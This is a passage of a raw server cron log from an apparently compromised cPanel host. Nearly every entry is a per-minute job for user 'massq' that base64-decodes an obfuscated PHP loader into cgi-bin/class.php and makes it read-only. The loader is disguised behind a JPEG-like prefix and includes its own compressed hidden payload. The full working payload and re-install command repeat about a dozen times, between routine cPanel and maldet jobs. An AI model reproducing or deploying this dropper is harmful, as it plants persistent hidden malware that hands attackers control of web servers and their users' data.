k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:06:01 server CROND[8283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:07:01 server CROND[8629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:08:01 server CROND[8991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:09:01 server CROND[9272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:09:01 server CROND[9273]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 08:10:01 server CROND[9637]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:10:01 server CROND[9636]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 08:10:01 server CROND[9641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:10:01 server CROND[9642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:11:01 server CROND[9954]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:12:01 server CROND[10213]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 08:12:01 server CROND[10215]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:13:01 server CROND[10479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:14:01 server CROND[10753]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:15:01 server CROND[11060]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:15:01 server CROND[11061]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:15:01 server CROND[11062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:15:01 server CROND[11063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:16:01 server CROND[11505]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:17:01 server CROND[11767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:18:01 server CROND[12020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
